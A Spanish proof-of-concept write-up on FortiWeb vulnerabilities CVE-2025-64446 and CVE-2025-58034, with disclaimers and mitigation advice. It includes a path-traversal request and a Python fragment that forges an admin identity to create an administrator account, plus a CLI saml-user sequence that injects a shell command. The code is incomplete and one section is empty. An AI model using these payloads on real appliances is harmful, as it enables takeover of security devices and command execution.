Simulación de explotación de FortiWeb (CVE-2025-64446 & CVE-2025-58034)

Nota:

• Este documento es solo para fines educativos y de investigación de seguridad.
• No lo utilice para atacar sistemas sin autorización.

1. Resumen

FortiWeb es un dispositivo Web Application Firewall (WAF) utilizado para proteger aplicaciones web.

En el año 2025, se descubrieron dos vulnerabilidades graves:

• CVE-2025-64446 – Omisión de autenticación mediante Path Traversal
• CVE-2025-58034 – Inyección de comandos del sistema operativo

2. Resumen de CVE-2025-64446

Ejemplo:

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. Resumen de CVE-2025-58034

4. Proceso de experimentación (POC)

4.1. Preparación del entorno:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Esto ayuda a evitar conflictos de versiones de librerías, garantizar la estabilidad del entorno de trabajo y limitar el impacto en el sistema.

4.2 Explotación

Payload

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Ejecutar la herramienta con Python3:

python3 exploit.py <IP_target>

• <IP_target>: La dirección IP aquí es el nombre de host del dispositivo FortiWeb.

Se obtienen el nombre de usuario y la contraseña -> se procede a iniciar sesión

Explotación exitosa y se crea una nueva cuenta con privilegios de administrador.

4.3 Explotación de CVE-2025-58034 después de iniciar sesión

Después de iniciar sesión con éxito con la nueva cuenta de administrador creada, un atacante puede explotar la vulnerabilidad de inyección de comandos autenticada a través de solicitudes especialmente diseñadas o directamente a través de la interfaz de línea de comandos de FortiWeb CLI:

config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb saldrá de la cadena de configuración y ejecutará el comando id durante la configuración de saml-user.

5. Algunas formas de mitigar las vulnerabilidades

• Actualizar FortiWeb a una versión parcheada.
• Limitar el acceso a la interfaz de administración.
• No exponer la interfaz de administración a Internet.
• Revisar cuentas de administrador inusuales.

6. Referencias adicionales

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034